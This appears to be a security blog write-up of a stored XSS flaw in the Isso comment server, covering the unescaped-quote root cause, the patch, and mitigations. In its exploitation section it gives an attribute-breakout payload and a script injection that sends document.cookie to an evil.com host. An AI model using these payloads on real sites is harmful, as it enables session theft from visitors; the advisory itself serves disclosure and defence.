Feb 24, 2026·6 min read·8 visits
A Stored XSS vulnerability in Isso allows attackers to inject malicious JavaScript via the 'website' and 'author' fields. The root cause is the misuse of `html.escape(quote=False)` and missing sanitization on edit endpoints. Fixed in commit 0afbfe0.
In the world of self-hosted services, Isso has long been the darling of the static site generation crowd—a lightweight, Python-based commenting server that promised to free us from the tracking claws of Disqus. But as with all things that handle user input, the devil is in the sanitization details. CVE-2026-27469 is a classic Stored Cross-Site Scripting (XSS) vulnerability that highlights a fundamental misunderstanding of Python's standard library. By explicitly telling the HTML escaper *not* to escape quotes, the developers inadvertently handed attackers a key to break out of HTML attributes. Combined with a completely unprotected edit endpoint, this vulnerability turns the humble comment section into a launchpad for browser-based attacks.
Isso is designed to be simple. It’s a tiny Flask application that stores comments in SQLite and serves them up to a JavaScript client. For privacy enthusiasts and hackers running static blogs, it’s the gold standard. But simplicity often masks fragility.
The core function of a comment system is to take untrusted text from strangers on the internet and render it on other strangers' screens. This is, by definition, one of the most dangerous activities a web application can perform. The moment you fail to sanitize that input perfectly, you aren't just hosting comments; you're hosting a botnet command and control node, a crypto-miner, or a session-stealing trap.
In this specific case, the vulnerability isn't some complex memory corruption or a race condition. It's a logic error in how the backend prepares data for the frontend. It brings us back to the golden rule of web security: assume every user input is trying to kill you.
The vulnerability lies in isso/views/comments.py. When a user submits a new comment, the server needs to sanitize the input to prevent HTML injection. The developers correctly identified that they needed to escape special characters. They reached for Python's built-in html.escape() function. So far, so good.
But then, they did something baffling. They called it with quote=False.
Why does this matter? By default, html.escape() converts <, >, &, ', and " into their safe HTML entity equivalents (like < or "). When you pass quote=False, the function explicitly skips escaping single and double quotes. The developers likely did this to keep URLs looking "clean" in the database, or perhaps to avoid double-escaping issues later down the line.
Unfortunately, the Isso frontend renders the author's website link like this:
<a href='USER_INPUT_HERE'>Author Name</a>See the problem? The HTML uses single quotes to delimit the href attribute. Because the backend explicitly allowed single quotes to pass through unescaped, an attacker can simply include a single quote in their URL to close the href attribute early and inject their own event handlers. It is the digital equivalent of locking your front door but leaving the key under the mat—and then putting up a sign saying "Key under mat."
Let's look at the diff. It’s rare to see a vulnerability so clearly defined by a single boolean flag. In the comment creation path (POST /new), the code was essentially saying, "Sanitize the tags, but trust the quotes."
Here is the critical change in the patch:
# Vulnerable Code (Before)
# isso/views/comments.py
website = html.escape(website, quote=False)
# Fixed Code (After)
# isso/views/comments.py
website = html.escape(website, quote=True)But wait, there's more! As if the attribute breakout wasn't enough, the researchers found that the edit endpoints (PUT /id/<id>) completely forgot to call escape at all. If you created a clean comment and then edited it, you could put whatever you wanted in the author or website fields.
# Vulnerable Edit Handler (simplified)
def update(id):
# ... data fetching ...
comment.website = data.get('website') # No escaping whatsoever!
comment.author = data.get('author') # Raw input stored
# ... save to DB ...The fix for the edit endpoint involved retrofitting the same (now corrected) escaping logic used in the creation endpoint. It serves as a stark reminder: Security logic must be applied consistently across all state-changing endpoints, not just the creation path.
Exploiting this requires a bit of finesse with the syntax. Since we are inside an attribute, we can't just throw in a <script> tag immediately. We first have to break out of the href.
Attack Vector 1: The Attribute Breakout
The target context in the browser DOM looks like this:
<a href='{website}'>
If we send the following payload as our website:
http://evil.com/' onmouseover='alert(document.cookie)' style='position:fixed;top:0;left:0;width:100%;height:100%;display:block;z-index:9999'
The server (with quote=False) stores it exactly as written. When the frontend renders it, the browser sees:
<a href='http://evil.com/' onmouseover='alert(document.cookie)' style='...'>href='http://evil.com/': Valid attribute. Closes at the first single quote.onmouseover='alert(...)': A new, valid event handler attribute injected by us.style='...': Styling to make the link cover the whole screen, ensuring the victim triggers the mouseover event no matter where they move their mouse.Attack Vector 2: The Edit Bypass
This one is less subtle. An attacker creates a benign comment. Then, they send a PUT request to modify it. Since the edit endpoint lacked escaping entirely:
PUT /id/123 { "author": "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>" }
The server accepts it. The next time anyone loads the page, the script executes immediately. No user interaction required.
The CVSS score of 6.1 (Medium) feels deceptively low here. That score assumes the attacker needs user interaction (UI:R), which is true for the website attribute breakout (the victim has to mouse over the link). However, the edit endpoint vulnerability allows for direct script injection which executes on page load, which essentially elevates the practical impact to High.
In a real-world scenario:
For a "static" site, adding dynamic comments introduces a massive, dynamic attack surface. You are only as secure as your least secure third-party script.
The remediation is straightforward: Update Isso immediately. The maintainers have released a patch in commit 0afbfe0 that forces quote=True and ensures all edit paths are sanitized.
If you cannot update immediately, you have two options:
isso.cfg, set moderation = true. This forces all comments into a queue. An admin can manually inspect the URLs. However, be careful—if the admin panel itself is vulnerable to the rendering of these comments, you might just hack yourself.Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';This header would block the onmouseover handler (inline script) and the <script> tag injection, rendering the exploit useless even if the code remains vulnerable.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Isso isso-comments | < Commit 0afbfe0 | Commit 0afbfe0691ee237963e8fb0b2ee01c9e55ca2144 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Cross-site Scripting) |
| Attack Vector | Network (AV:N) |
| CVSS Score | 6.1 (Medium) |
| Impact | Confidentiality, Integrity |
| Exploit Status | PoC Available |
| Authentication | None Required (PR:N) |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')